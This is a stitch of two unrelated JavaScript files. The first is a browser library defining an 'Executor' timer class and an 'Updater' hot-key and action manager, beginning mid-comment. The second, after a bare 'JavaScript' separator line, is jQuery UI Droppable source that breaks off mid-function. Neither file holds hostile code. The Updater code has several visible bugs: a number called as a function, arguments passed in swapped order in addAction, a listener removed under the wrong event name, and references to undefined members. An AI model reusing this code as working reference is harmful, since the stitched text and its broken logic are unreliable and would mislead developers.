* @param {Function} The callback function on executor process finished.
* @param {Boolean} The flag, defines that mechanism that prevenst parallel executions which
* should be active.
*/
function Executor(aProcess, aTimeout, aCounter, aOnStop, aWait)
{
this.fOnStop = aOnStop;
this.fProcess = aProcess;
this.fWait = aWait;
this.fLock = false;
this.fCounter = isNaN(aCounter) ? 1000000 : aCounter;
this.fTimeout = isNaN(aTimeout) ? 500 : aTimeout;
this.fLockCheckerTimeout = Math.round(this.fTimeout()/4);
this.fOwnExecutor = null;
this.fJoinedExecutors = [];
this.fLogger = new Logger("Executor");
this.fTaskID = null;
this.fLockCheckerTaskID = null;
}
/**
* Indicates that the executed process is locked or any
* of chained process is locked.
* The method can be overrided to be corresponding to the particular logic.
* For example, thread is locked as long as chained threads are alive.
*
* @return {Boolean} Returns true is it so, otherwise - false.
*/
Executor.prototype.isLocked = function()
{
var result = this.fTaskID && this.fLock;
if ( !result )
{
var executor;
for( var i = 0; i < this.fJoinedExecutors.length; i++)
{
executor = this.fJoinedExecutors[i];
if ( executor.isLocked() )
{
result = true;
break;
}
}
}
return result;
};
/**
* Indicates that the executor is alive.
* @return {Boolean} Returns true is it so, otherwise - false.
*/
Executor.prototype.isAlive = function()
{
return this.fCounter > 0;
};
/**
* Invokes the executor callback on process finished.
*/
Executor.prototype.onStopCallBack = function()
{
if ( COMMONS.isFunction(this.fOnStop) )
{
try
{
this.fOnStop.call(this);
}
catch(ex)
{
this.fLogger.error("Executor onStop error caused", ex );
}
}
};
/**
* Starts an executor thread.
*/
Executor.prototype.start = function()
{
this.fLock = false;
this.doStart();
};
/**
* Periodicaly invokes the process until
* the executor counter is more the zerro.
* @private
*/
Executor.prototype.doStart = function()
{
var executor = this;
if (this.fLockCheckerTaskID !== null )
{
window.clearTimeout(this.fLockCheckerTaskID);
this.fLockCheckerTaskID = null;
}
if ( this.isLocked() )
{
this.fLockCheckerTaskID = window.setTimeout(function()
{
executor.doStart();
}, this.fLockCheckerTimeout );
}
else
{
if (this.fTaskID !== null)
{
window.clearTimeout(this.fTaskID);
this.fTaskID = null;
}
if ( this.isAlive() )
{
if ( COMMONS.isFunction(this.fProcess) )
{
if ( this.fWait)
{
this.fLock = true;
}
try
{
this.fProcess.call(this);
}
catch(ex)
{
this.fLogger.error("Executor process error caused", ex );
}
this.fLock = false;
}
this.fCounter--;
this.fTaskID = window.setTimeout(function()
{
executor.doStart()
}, this.fTimeout );
}
else
{
this.onStopCallBack();
}
}
};
/**
* Sets the flag that the executor should stop executing
* of current process and all chained threads too.
*/
Executor.prototype.stop = function()
{
this.fCounter = -1;
var executor;
for( var i = 0; i < this.fJoinedExecutors.length; i++)
{
executor = this.fJoinedExecutors[i];
if ( executor.isAlive() )
{
try
{
executor.stop();
}
catch(ex)
{
this.fLogger.error("Unable to stop an executor because an error occured", ex);
}
}
}
};
/**
* Forces the executor to stop executing of current process
* and all chained threads too.
*/
Executor.prototype.fireStop = function()
{
var executor;
for( var i = 0; i < this.fJoinedExecutors.length; i++)
{
executor = this.fJoinedExecutors[i];
try
{
executor.fireStop();
}
catch(ex)
{
this.fLogger.error("Unable to stop an executor because an error occured", ex);
}
}
if (this.fLockCheckerTaskID !== null )
{
window.clearTimeout(this.fLockCheckerTaskID);
this.fLockCheckerTaskID = null;
}
if (this.fTaskID !== null)
{
window.clearTimeout(this.fTaskID);
this.fTaskID = null;
}
this.onStopCallBack();
this.fCounter = -1;
};
/**
* Adds another executor to current for chaining them.
* Added executor has information about its owner.
*
* @see #isLocked
*/
Executor.prototype.chain = function(anExecutor)
{
if ( anExecutor instanceof Executor )
{
anExecutor.fOwnExecutor = this;
this.fJoinedExecutors.push(anExecutor);
}
else
{
this.fLogger.error("joinProcess, illegal argument type: " + anExecutor);
}
};
/**
* Creates updatable action manager.
* Main purpose of upadatable action manager is creation of
* loosely coupled action- based architecture.
*
* Updatable action manager represents a action manager which
* is a keyboard event listener on the one side and
* periodical process with a appointed interval on the other side.
*
* Periodical process is used to update actions status and related HTML components
* by particular logic.
* Keyboard event listener allowes to connect hot keys with actions and "magic word" with
* switch actions ON.
* Action invocation API simplify definion of particular action logic
* because action status checker is carried out on separate level.
* Usualy the same logic is used to check action pre-conditions and
* caller DOM node status (enabled-disabled).
* Additionaly, updatable action manager helps to create
* action repeated invocation functionality on long mouse event.
*
* Main features of upadatable action manager are:
* <ul>
* <li> Chains action with HTML component/components to change their UI
* according to the action status.
* For example, enable - disable the component, highlight the component.
* <li>Simplify defintion of component event listener because action
* preconditions are carried out on separate level and automaticaly called
* before action invocation.
* <li> Invokes action by hot key.
* <li> Switch ON - OFF actions by magic word.
* <li> Updatable action manager helps to create action repeated invocation
* functionality on long mouse event.
* </ul>
* @constructor
*
* @param {Integer} An interval for periodical update process (in ms).
* @param {Node} The monitored container, document by default.
*/
function Updater(aTimeout, aContainer)
{
this.fActions = [];
this.fUIProcessors = new HashMap();
this.fKeys = new HashMap();
this.fKeyBuffer = "";
this.fKeyBufferSize = -1;
this.fLock = false;
this.fCheckWord = false;
this.fCheckKey = false;
this.fProcessID = null;
this.fAutoRepeatTaskID = null;
this.fTimeout = isNaN(aTimeout) ? 50 : aTimeout;
this.fLogger = new Logger("Updater");
this.fContainer = COMMONS.isObject(aContainer) || document;
this.initKeyMaps();
this.initUIProcessors();
}
Updater.KB_BSP = 8;
Updater.KB_TAB = 9;
Updater.KB_CENTER = 12;
Updater.KB_ENTER = 13;
Updater.KB_CTRL = 17;
Updater.KB_CAPS = 20;
Updater.KB_ESC = 27;
Updater.KB_PAGE_UP = 33;
Updater.KB_PAGE_DOWN = 34;
Updater.KB_END = 35;
Updater.KB_HOME = 36;
Updater.KB_LEFT = 37;
Updater.KB_UP = 38;
Updater.KB_RIGHT = 39;
Updater.KB_DOWN = 40;
Updater.KB_DEL = 46;
Updater.KB_PLUS = 107;
Updater.KB_MINUS = 109;
Updater.KB_PLUS_KB = 61;
Updater.KB_MINUS_KB = 189;
/**
* Registers key map to simplify description of of action key chain.
* @param {String} The string that defines key code in
* the description of action key chain.
* @param {Integer} The key code.
*/
Updater.prototype.registerKeyMap = function(aName, aCode)
{
this.fKeys.put(aName, aCode);
};
/**
* Registers default key map to simplify
* description of actions key chains.
*/
Updater.prototype.initKeyMaps = function()
{
this.registerKeyMap("LEFT", Updater.KB_LEFT);
this.registerKeyMap("UP", Updater.KB_UP);
this.registerKeyMap("RIGHT", Updater.KB_RIGHT);
this.registerKeyMap("DOWN", Updater.KB_DOWN);
this.registerKeyMap("PAGE_UP", Updater.KB_PAGE_UP);
this.registerKeyMap("PAGE_DOWN", Updater.KB_PAGE_DOWN);
this.registerKeyMap("PLUS", Updater.KB_PLUS);
this.registerKeyMap("PLUSKB", Updater.KB_PLUS_KB);
this.registerKeyMap("MINUS", Updater.KB_MINUS);
this.registerKeyMap("MINUSKB", Updater.KB_MINUS_KB);
this.registerKeyMap("TAB", Updater.KB_TAB);
this.registerKeyMap("CENTER", Updater.KB_CENTER);
this.registerKeyMap("ENTER", Updater.KB_ENTER);
this.registerKeyMap("ESC", Updater.KB_ESC);
};
/**
* Registers UI processor by DOM node name.
* UI processor represents a function which available change component UI
* under corresponding action status.
* Interface of component UI processor is:
* <code>function(aNode, aStatus)</code>
*
* @param {String} The DOM node name.
* @param {Function} The UI processor.
*/
Updater.prototype.registerUIProcessor = function(aNodeName, aFunction)
{
this.fUIProcessors.put(aNodeName, aFunction);
};
/**
* Registers UI processors by defaults.
* @see #registerUIProcessor
*/
Updater.prototype.initUIProcessors = function()
{
this.registerUIProcessor("IMG", this.updateImageUI );
this.registerUIProcessor("BUTTON", this.updateControlUI );
this.registerUIProcessor("INPUT", this.updateControlUI );
this.registerUIProcessor("A", this.updateBlockUI );
this.registerUIProcessor("TD", this.updateBlockUI );
this.registerUIProcessor("DIV", this.updateBlockUI );
};
/**
* Returns UI processor suitable to DOM node and
* required action status.
*
* @return {Function} Returns UI processor
* suitable to DOM node and required status.
* @param {Node} The DOM node.
* @param The action status.
*/
Updater.prototype.getUIProcessor = function(aNode, aStatus)
{
var result = undefined;
if ( COMMONS.isObject(aNode) && aNode.nodeType === UpdaterDOMUtils.ELEMENT_NODE )
{
result = this.fUIProcessors.get(aNode.nodeName);
}
return result;
};
/**
* Parses string which destignates the set of action hot keys to
* array of array of keystrokes.
*
* Hot keys definition examples:
* <code>Ctrl-Shift-P</code>
* <code>Alt-PAGE_UP Alt-Shift-PAGE_UP</code>
* <code>CTRL-SHIFT-124 SHIFT-ALT-M</code>
*
* @param {String} The string which is destignated
* the set of action hot keys.
* @return {Array} Returns prepared array of array of keystrokes.
* For example: [[ALT, 33], [ALT, SHIFT, 33]]
*/
Updater.prototype.parseHotKey = function(aHotKey)
{
var result = undefined;
var code;
if ( COMMONS.isString(aHotKey) )
{
result = aHotKey.split(' ');
for (var i = 0; i < result.length; i++ )
{
result[i] = result[i].split('-');
code = this.fKeys.get( result[i][result[i].length - 1] );
if ( code !== undefined )
{
result[i][result[i].length - 1] = code;
}
else
{
result[i][result[i].length - 1] = result[i][result[i].length - 1].toUpperCase();
}
if ( result[i].length > 1)
{
var modifier;
for (var j = 0; j < result[i].length - 1; j++ )
{
result[i][j] = result[i][j].toUpperCase();
}
}
}
}
return result;
};
/**
* Indicates that the array of array of keystrokes matches with
* given keyboard event.
*
* @return {Boolean} Returns true is it so, otherwise - false.
* @param {Array} The array of array of keystrokes.
* For example: [[ALT, M], [ALT, SHIFT, L]]
*
* @param {Event} The keyborad event.
*/
Updater.prototype.isMatchedKey = function(aKeyStroke, aEvent)
{
var keyCode = UpdaterDOMUtils.getEventKeyCode(aEvent);
var result = false;
var keyStroke;
for (var i = 0; i < aKeyStroke.length; i++)
{
keyStroke = aKeyStroke[i];
if ( COMMONS.isNumber(keyStroke[keyStroke.length - 1]) )
{
result = keyCode === parseInt(keyStroke[keyStroke.length - 1]);
}
else
{
result = String.fromCharCode(keyCode) === keyStroke[keyStroke.length - 1];
}
if ( result && keyStroke.length > 1)
{
for (var j = 0; j < keyStroke.length - 1; j++)
{
if ((keyStroke[j] === "SHIFT" && !aEvent.shiftKey) || (keyStroke[j] === "CTRL" && !aEvent.ctrlKey) ||
(keyStroke[j] === "ALT" && !aEvent.altKey))
{
result = false;
break;
}
}
}
}
return result;
};
/**
* Starts updatable action manager.
* @see #stop
*/
Updater.prototype.start = function()
{
this.stop();
var updater = this;
this.fProcessID = window.setInterval(function()
{
updater.update()
}, this.fTimeout);
if ( this.keyup === undefined )
{
this.keyup = function(event)
{
if ( updater.acceptKeyEvent(event) )
{
updater.keyPressed(event);
}
};
UpdaterDOMUtils.addEventListener(this.fContainer, "keyup", this.keyup);
}
if ( this.mouseup === undefined )
{
this.mouseup = function (event)
{
updater.mouseUp(event)
};
UpdaterDOMUtils.addEventListener(this.fContainer, "mouseup", this.mouseup);
}
};
/**
* Stops updatable action manager.
* @see #destroy
*/
Updater.prototype.stop = function()
{
if (this.fProcessID !== null)
{
window.clearInterval(this.fProcessID);
this.fProcessID = null;
}
};
/**
* Stops updatable action manager, destroys
* registered listeners and clears registered actions array.
*
* @see #stop
*/
Updater.prototype.destroy = function()
{
this.stop();
if ( this.mouseup !== undefined )
{
UpdaterDOMUtils.removeEventListener(this.fContainer, "mouseup", this.mouseup);
this.mouseup = undefined;
}
if ( this.keyup !== undefined )
{
UpdaterDOMUtils.removeEventListener(this.fContainer, "mouseover", this.keyup);
this.keyup = undefined;
}
this.fActions = [];
};
/**
* Updatable action factory.
* Creates updatable action by given parameters.
*
* Result action status is false and the action
* is switched OFF by defaults.
*
* @param {String} The action ID.
* @param {Function} The action body - the method is invocated by action.
* @param {Function} The action status checker - the method which returns the action status.
* @param {Array} The array of chained with action HTML components ID.
* @param {Array} The action hot keys.
* @param {Integer} The action timeout - interval is ms to invoke action automaticaly.
* @param {String} The "magic word" which is used to switch ON the action (if it is necessary).
*/
Updater.prototype.createAction = function(aID, anAction, aStatusChecker, anElementsID, aHotKey, aAutoTimeout, aMagicWord )
{
var result =
{
id:aID,
on:false,
status:false,
action:COMMONS.isFunction(anAction) ? anAction : undefined,
checker:COMMONS.isFunction(aStatusChecker) ? aStatusChecker : undefined,
elements: COMMONS.isArray(anElementsID) ? anElementsID : (COMMONS.isString(anElementsID) ? [anElementsID] : undefined),
autoTimeout: isNaN(aAutoTimeout) ? 0 : aAutoTimeout,
key: COMMONS.isString(aHotKey) ? this.parseHotKey(aHotKey) : undefined,
word: COMMONS.isString(aMagicWord) ? aMagicWord.toUpperCase() : undefined
};
return result;
}
/**
* Creates updatable action by given parameters and adds its to the action manager.
*
* @param {String} The action ID.
* @param {Function} The action body - the method is invoked by action.
* @param {Function} The action status checker - the method which returns the action status.
* @param {Array} The array of chained with action HTML components ID.
* @param {Array} The action hot keys.
* @param {Integer} The action timeout - interval is ms to invoke action automaticaly.
* @param {String} The magic word which used to switch on the action (if it necessary).
*/
Updater.prototype.addAction = function(aID, anAction, aStatusChecker, anElementsID, aHotKey, aAutoTimeout, aMagicWord )
{
var action = this.createAction(aID, anAction, aStatusChecker, anElementsID, aHotKey, aMagicWord, aAutoTimeout);
this.fCheckKey = action !== undefined;
if ( action.word !== undefined )
{
this.fCheckWord = true;
this.fKeyBufferSize = Math.max(this.fKeyBufferSize, action.word.length);
}
var index = this.fActions.length;
for(var i = 0; i < index; i++)
{
if ( this.fActions[i].id === action.id )
{
index = i;
break;
}
}
this.fActions[index] = action;
};
/**
* Returns the updatable action by given ID.
* If corresponding action can't be obtained it returns undefined.
*
* @param {String} The action ID.
* @return The updatable action.
*/
Updater.prototype.getAction = function(aID)
{
var result = undefined;
for(var i = 0; i < this.fActions.length; i++)
{
if (this.fActions[i].id === aID )
{
result = this.fActions[i];
break;
}
}
return result;
};
/**
* Indicates that the keyboard event is accepted.
*
* @param {Event} The key up event.
* @return {Boolean} If so it returns true, otherwise it returns false.
*
*/
Updater.prototype.acceptKeyEvent = function(aEvent)
{
var result = false;
var element = UpdaterDOMUtils.getEventTarget(aEvent);
if ( COMMONS.isObject(element) )
{
result = true;
if (element.nodeName === "TEXTAREA" || element.nodeName === "INPUT" ||
element.nodeName === "SELECT" || element.nodeName === "BUTTON")
{
result = COMMONS.toBoolean(element.readOnly) || COMMONS.toBoolean(element.disabled);
}
}
return result;
};
/**
* Switches actions to ON/OFF.
* Actions that are not switched in ON status are ignored.
*
* @param The Order of actions ID.
* <code> switchAction("action1", "action2",..., true);</code>
* @param {Boolean} The actions switch status.
*/
Updater.prototype.switchAction = function(aID, anON)
{
for(var i = 0; i < arguments.length - 1; i++)
{
var action = this.getAction(arguments[i]);
if ( COMMONS.isObject(action) )
{
action.on = arguments[ arguments.length - 1 ];
}
}
};
/**
* Indicates that the action should be processed.
*
* @return {Boolean} Returns true if the given action is switched ON
* and action status is true, otherwise - returns false.
* @param The updatable action.
*/
Updater.prototype.acceptAction = function(anAction)
{
var result = COMMONS.isObject(anAction) && anAction.on && anAction.status;
return result;
};
/**
* Action manager keyboard listener.
* Tries to find an action by key code and
* if the corresponding action is available invoke its.
*
* @param {Event} The keyboard event.
*/
Updater.prototype.keyPressed = function(event)
{
var result = null;
var action;
if (this.fAutoRepeatTaskID !== null)
{
window.clearTimeout(this.fAutoRepeatTaskID);
this.fAutoRepeatTaskID = null;
}
if ( !this.fLock && (this.fCheckWord || this.fCheckKey) )
{
var keyCode = UpdaterDOMUtils.getEventKeyCode(event);
if ( this.fCheckWord )
{
if (this.fKeyBuffer.length >= this.fKeyBufferSize)
{
this.fKeyBuffer = this.fKeyBuffer.substring(1, this.fKeyBuffer.length);
}
this.fKeyBuffer += String.fromCharCode(keyCode);
for(var i = 0; i < this.fActions.length; i++)
{
action = this.fActions[i];
if ( !action.on && (this.fKeyBuffer === action.word) )
{
action.on = true;
}
}
}
if ( this.fCheckKey )
{
for(var i = 0; i < this.fActions.length; i++)
{
action = this.fActions[i];
if ( this.acceptAction(action) && action.key !== undefined )
{
if ( this.isMatchedKey(action.key, event) )
{
this.fLock = true;
try
{
result = action.action.call(this, event);
}
catch(ex)
{
this.fLogger.error("keyPressed, call of the action " + action.id +" an error caused", ex);
}
var updater = this;
window.setTimeout(function()
{
updater.fLock = false
}, 10);
break;
}
}
}
}
}
return result;
};
/**
* Periodically updates actions status and related HTML components.
* @see #getUIProcessor
*/
Updater.prototype.update = function()
{
var getStatus = function(anAction)
{
var result = true;
if ( COMMONS.isFunction(anAction.checker) )
{
result = false;
try
{
result = anAction.checker.call(this);
}
catch(ex)
{
this.fLogger.warning("update, call of action check method an error caused", ex);
}
}
return result;
};
if ( !this.fLock )
{
var action;
var element;
var processor;
for (var i = 0; i < this.fActions.length; i++)
{
action = this.fActions[i];
if ( action.on )
{
action.status = getStatus.call(this, action);
if ( COMMONS.isArray(action.elements) )
{
for(var j = 0; j < action.elements.length; j++)
{
element = UpdaterDOMUtils.getElement(action.elements[j]);
processor = this.getUIProcessor(element, action.status);
if ( COMMONS.isFunction(processor) )
{
processor.call(this, element, action.status);
}
}
}
}
}
}
};
/**
* Indicates that the HTML node UI should be updated.
*
* @param {Node} The DOM node.
* @param The action status.
* @return {Boolean} If so it returns true, otherwise it returns false.
*/
Updater.prototype.acceptUpdateUI = function(aNode, aStatus)
{
return aNode.status !== aStatus;
};
/**
* DOM node UI processor by defaults.
* Note: The method can be overrided by custom particular logic.
*
* In case of disabled node class name ends with "Off" and
* enabled node class name ends with "On", class name will be changed
* according to the action status.
* For example:
* <ul>
* <li> Status is true - the class name is "blockOn".
* <li> Status is false - the class name is "blockOff".
* </ul>
*
* @param {Node} The DOM node.
* @param {Boolean} The action status.
* @param {Boolean} Returns true if node class name is changed successfully,
* otherwise - false.
*/
Updater.prototype.updateClassName = function(aNode, aStatus)
{
var result = false;
var className = aNode.className;
if (COMMONS.isString(className) && /Off\b|On\b/.test(className))
{
var newValue = (aStatus) ? className.replace(/Off\b/, "On") : className.replace(/On\b/, "Off");
if (className !== newValue)
{
aNode.className = newValue;
result = true;
}
}
return result;
};
/**
* Updates image UI to be according to the action status:
* <ul>
* <li> In case of the image class name conformed by predefined rules image
* class will be changed.
* For example:
* <ul>
* <li> Status is true - the class name is "imageOn".
* <li> Status is false - the class name is "imageOff".
* </ul>
* <li> Otherwise, if the disabled image src ends with "Off" and
* enabled image src ends with "On" image src will be changed
* according to the action status.
* For example:
* <ul>
* <li> Status is true - the image src is "imgOn.gif".
* <li> Status is false - the image src is "imgOff.gif".
* < /ul>
* </ul>
*
* @param {Node} The IMG node.
* @param {Boolean} The action status.
*
* @see #updateClassName
*/
Updater.prototype.updateImageUI = function(anImage, aStatus)
{
if ( this.acceptUpdateUI(anImage, aStatus) )
{
if ( !this.updateClassName(anImage, aStatus) )
{
var src = anImage.src;
if (COMMONS.isString(src) && /Off\b|On\b/.test(src) )
{
var newValue = (aStatus) ? src.replace(/Off\b/, "On") : src.replace(/On\b/, "Off");
if ( src !== newValue )
{
anImage.src = newValue;
}
}
}
anImage.status = aStatus;
}
};
/**
* Updates form control UI corresponding with the action status:
* <ul>
* <li> In case of the control class name conformed by the
* predefined rules control class will be changed.
* For example:
* <ul>
* <li> Status is true - the class name is "inputOn".
* <li> Status is false - the class name is "inputOff".
* </ul>
* <li> Otherwise, the control will be disabled or enabled
* according to the action status.
* </ul>
*
* @param {Node} The form control node.
* @param {Boolean} The action status.
* @see #updateClassName
*/
Updater.prototype.updateControlUI = function(aControl, aStatus)
{
if ( this.acceptUpdateUI(aControl, aStatus) )
{
if ( !this.updateClassName(aControl, aStatus) )
{
if ( aStatus )
{
aControl.disabled = undefined;
aControl.removeAttribute("disabled");
}
else
{
aControl.disabled = true;
}
}
aControl.status = aStatus;
}
};
/**
* Updates block control UI and all block children
* according to the action status:
*
* <ul>
* <li> In case of the block class name is conformed by the
* predefined rules block class will be changed.
* For example:
* <ul>
* <li> Status is true - the class name is "divOn".
* <li> Status is false - the class name is "divOff".
* </ul>
* <li> In case of the block background image is defined
* and clip attribute is defined, block backgound clipping will be changed.
* </ul>
*
* @param {Node} The block node.
* @param {Boolean} The action status.
* @see #updateClassName
*/
Updater.prototype.updateBlockUI = function(aBlock, aStatus)
{
if ( this.acceptUpdateUI(aBlock, aStatus) )
{
if ( !this.updateClassName(aBlock, aStatus) )
{
var clip = aBlock.clip;
if ( COMMONS.isDefined(clip) )
{
clip = COMMONS.toInteger(clip) * 2;
aBlock.style.backgroundPosition = aStatus ? ("-" + clip + "px 0") : ("0 0");
}
}
aBlock.status = aStatus;
var processor;
var children = aBlock.childNodes;
for( var i = 0; i < aBlock.childNodes.length; i++ )
{
processor = this.getUIProcessor( children[i], aStatus);
if ( COMMONS.isFunction(processor) )
{
processor.call(this, children[i], aStatus);
}
}
}
};
/**
* Updatable action manager mouse up listener.
* If autorepeat functionality on long mouse click is active
* stops window process.
*
* @param {Event} The mouse up event.
*/
Updater.prototype.mouseUp = function(event)
{
if (this.fAutoRepeatTaskID !== null)
{
window.clearTimeout(this.fAutoRepeatTaskID);
this.fAutoRepeatTaskID = null;
}
};
/**
* Forces to call action by action ID.
*
* Uses mousedown event listener to autorepeat functionality activation.
* Note: action autorepeat timeout should be greater than one.
*
* Example of definition:
* <div onmousedown="manager.call('id')"></div>
*/
Updater.prototype.call = function(aID)
{
var doInvoke = function(anAction)
{
var updater = this;
if (this.fAutoRepeatTaskID !== null)
{
window.clearTimeout(this.fAutoRepeatTaskID);
this.fAutoRepeatTaskID = null;
}
if ( this.fLock )
{
this.fAutoRepeatTaskID = window.setTimeout(function()
{
doInvoke.call(updater, anAction);
}, anAction.autoTimeout);
}
else
if ( this.acceptAction(anAction) )
{
this.fLock = true;
try
{
anAction.call(this);
if ( this.acceptAction(anAction) )
{
this.fAutoRepeatTaskID = window.setTimeout(function()
{
doInvoke.call(updater, anAction);
}, anAction.autoTimeout);
}
}
catch(ex)
{
this.fLogger.error("doInvoke, action " + this.fAction.id + " invocation error caused", ex);
}
this.fLock = false;
}
};
if (this.fAutoRepeatTaskID !== null)
{
window.clearTimeout(this.fAutoRepeatTaskID);
this.fAutoRepeatTaskID = null;
}
if ( !this.fLock )
{
var action = this.getAction(aID);
if ( this.acceptAction(action) )
{
this.fLock = true;
var updater = this;
try
{
action.action.call(this);
if ( action.autoTimeout > 1 && this.acceptAction(action) )
{
this.fAutoRepeatTaskID = window.setTimeout(function()
{
doInvoke.call(updater, action);
}, action.autoTimeout);
}
}
catch(ex)
{
this.fLogger.error("invoke, action " + action.id + "invocation error caused", ex);
}
this.fLock = false;
}
}
};
|
JavaScript
|
/*
* jQuery UI Droppable @VERSION
*
* Copyright (c) 2008 Paul Bakaus
* Dual licensed under the MIT (MIT-LICENSE.txt)
* and GPL (GPL-LICENSE.txt) licenses.
*
* http://docs.jquery.com/UI/Droppables
*
* Depends:
* ui.core.js
* ui.draggable.js
*/
(function($) {
$.widget("ui.droppable", {
_setData: function(key, value) {
if(key == 'accept') {
this.options.accept = value && $.isFunction(value) ? value : function(d) {
return d.is(accept);
};
} else {
$.widget.prototype._setData.apply(this, arguments);
}
},
_init: function() {
var o = this.options, accept = o.accept;
this.isover = 0; this.isout = 1;
this.options.accept = this.options.accept && $.isFunction(this.options.accept) ? this.options.accept : function(d) {
return d.is(accept);
};
//Store the droppable's proportions
this.proportions = { width: this.element[0].offsetWidth, height: this.element[0].offsetHeight };
// Add the reference and positions to the manager
$.ui.ddmanager.droppables[this.options.scope] = $.ui.ddmanager.droppables[this.options.scope] || [];
$.ui.ddmanager.droppables[this.options.scope].push(this);
(this.options.cssNamespace && this.element.addClass(this.options.cssNamespace+"-droppable"));
},
plugins: {},
ui: function(c) {
return {
draggable: (c.currentItem || c.element),
helper: c.helper,
position: c.position,
absolutePosition: c.positionAbs,
options: this.options,
element: this.element
};
},
destroy: function() {
var drop = $.ui.ddmanager.droppables[this.options.scope];
for ( var i = 0; i < drop.length; i++ )
if ( drop[i] == this )
drop.splice(i, 1);
this.element
.removeClass("ui-droppable-disabled")
.removeData("droppable")
.unbind(".droppable");
},
_over: function(e) {
var draggable = $.ui.ddmanager.current;
if (!draggable || (draggable.currentItem || draggable.element)[0] == this.element[0]) return; // Bail if draggable and droppable are same element
if (this.options.accept.call(this.element,(draggable.currentItem || draggable.element))) {
$.ui.plugin.call(this, 'over', [e, this.ui(draggable)]);
this.element.triggerHandler("dropover", [e, this.ui(draggable)], this.options.over);
}
},
_out: function(e) {
var draggable = $.ui.ddmanager.current;
if (!draggable || (draggable.currentItem || draggable.element)[0] == this.element[0]) return; // Bail if draggable and droppable are same element
if (this.options.accept.call(this.element,(draggable.currentItem || draggable.element))) {
$.ui.plugin.call(this, 'out', [e, this.ui(draggable)]);
this.element.triggerHandler("dropout", [e, this.ui(draggable)], this.options.out);
}
},
_drop: function(e,custom) {
var draggable = custom || $.ui.ddmanager.current;
if (!draggable || (draggable.currentItem || draggable.element)[0] == this.element[0]) return false; // Bail if draggable and droppable are same element
var childrenIntersection = false;
this.element.find(":data(droppable)").not(".ui-draggable-dragging").each(function() {
var inst = $.data(this, 'droppable');
if(inst.options.greedy && $.ui.intersect(draggable, $.extend(inst, { offset: inst.element.offset() }), inst.options.tolerance)) {
childrenIntersection = true; return false;
}
});
if(childrenIntersection) return false;
if(this.options.accept.call(this.element,(draggable.currentItem || draggable.element))) {
$.ui.plugin.call(this, 'drop', [e, this.ui(draggable)]);
this.element.triggerHandler("drop", [e, this.ui(draggable)], this.options.drop);
return this.element;
}
return false;
},
_activate: function(e) {
var draggable = $.ui.ddmanager.current;
$.ui.plugin.call(this, 'activate', [e, this.ui(draggable)]);
if(draggable) this.element.triggerHandler("dropactivate", [e, this.ui(draggable)], this.options.activate);
},
_deactivate: function(e) {
var draggable = $.ui.ddmanager.current;
$.ui.plugin.call(this, 'deactivate', [e, this.ui(draggable)]);
if(draggable) this.element.triggerHandler("dropdeactivate", [e, this.ui(draggable)], this.options.deactivate);
}
});
$.extend($.ui.droppable, {
version: "@VERSION",
defaults: {
disabled: false,
tolerance: 'intersect',
scope: 'default',
cssNamespace: 'ui'
}
});
$.ui.intersect = function(draggable, droppable, toleranceMode) {
if (!droppable.offset) return false;
var x1 = (draggable.positionAbs || draggable.position.absolute).left, x2 = x1 + draggable.helperProportions.width,
y1 = (draggable.positionAbs || draggable.position.absolute).top, y2 = y1 + draggable.helperProportions.height;
var l = droppable.offset.left, r = l + droppable.proportions.width,
t = droppable.offset.top, b = t + droppable.proportions.height;
switch (toleranceMode) {
case 'fit':
return (l < x1 && x2 < r
&& t < y1 && y2 < b);
break;
case 'intersect':
return (l < x1 + (draggable.helperProportions.width / 2) // Right Half
&& x2 - (draggable.helperProportions.width / 2) < r // Left Half
&& t < y1 + (draggable.helperProportions.height / 2) // Bottom Half
&& y2 - (draggable.helperProportions.height / 2) < b ); // Top Half
break;
case 'pointer':
return (l < ((draggable.positionAbs || draggable.position.absolute).left + (draggable.clickOffset || draggable.offset.click).left) && ((draggable.positionAbs || draggable.position.absolute).left + (draggable.clickOffset || draggable.offset.click).left) < r
&& t < ((draggable.positionAbs || draggable.position.absolute).top + (draggable.clickOffset || draggable.offset.click).top) && ((draggable.positionAbs || draggable.position.absolute).top + (draggable.clickOffset || draggable.offset.click).top) < b);
break;
case 'touch':
return (
(y1 >= t && y1 <= b) || // Top edge touching
(y2 >= t && y2 <= b) || // Bottom edge touching
(y1 < t && y2 > b) // Surrounded vertically
) && (
(x1 >= l && x1 <= r) || // Left edge touching
(x2 >= l && x2 <= r) || // Right edge touching
(x1 < l && x2 > r) // Surrounded horizontally
);
break;
default:
return false;
break;
}
};
/*
This manager tracks offsets of draggables and droppables
*/
$.ui.ddmanager = {
current: null,
droppables: { 'default': [] },
prepareOffsets: function(t, e) {
var m = $.ui.ddmanager.droppables[t.options.scope];
var type = e ? e.type : null; // workaround for #2317
var list = (t.currentItem || t.element).find(":data(droppable)").andSelf();
droppablesLoop: for (var i = 0; i < m.length; i++) {
if(m[i].options.disabled || (t && !m[i].options.accept.call(m[i].element,(t.currentItem || t.element)))) continue; //No disabled and non-accepted
for (var j=0; j < list.length; j++) { if(list[j] == m[i].element[0]) { m[i].proportions.height = 0; continue droppablesLoop; } }; //Filter out elements in the current dragged item
m[i].visible = m[i].element.css("display") != "none"; if(!m[i].visible) continue; //If the element is not visible, continue
m[i].offset = m[i].element.offset();
m[i].proportions = { width: m[i].element[0].offsetWidth, height: m[i].element[0].offsetHeight };
if(type == "dragstart" || type == "sortactivate") m[i]._activate.call(m[i], e); //Activate the droppable if used directly from draggables
}
},
drop: function(draggable, e) {
var dropped = false;
$.each($.ui.ddmanager.droppables[draggable.options.scope], function() {
if(!this.options) return;
if (!this.options.disabled && this.visible && $.ui.intersect(draggable, this, this.options.tolerance))
dropped = this._drop.call(this, e);
if (!this.options.disabled && this.visible && this.options.accept.call(this.element,(draggable.currentItem || draggable.element))) {
this.isout = 1; this.isover = 0;
this._deactivate.call(this, e);
}
});
return dropped;
},
drag: function(draggable, e) {
//If you have a highly dynamic page, you might try this option. It renders positions every time you move the mouse.
if(draggable.options.refreshPositions) $.ui.ddmanager.prepareOffsets(draggable, e);
//Run through all droppables and check their positions based on specific tolerance options
$.each($.ui.ddmanager.droppables[draggable.options.scope], function() {
if(this.options.disabled || this.greedyChild || !this.visible) return;
var intersects = $.ui.intersect(draggable, this, this.options.tolerance);
var c = !intersects && this.isover == 1 ? 'isout' : (intersects && this.isover == 0 ? 'isover' : null);
if(!c) return;
var parentInstance;
if (this.options.greedy) {
var parent = this.element.parents(':data(droppable):eq(0)');
if (parent.length) {
parentInstance = $.data(parent[0], 'droppable');
parentInstance.greedyChild = (c == 'isover' ? 1 : 0);
}
}
// we just moved into a greedy child
if (parentInstance && c == 'isover') {
parentInstance['isover'] = 0;
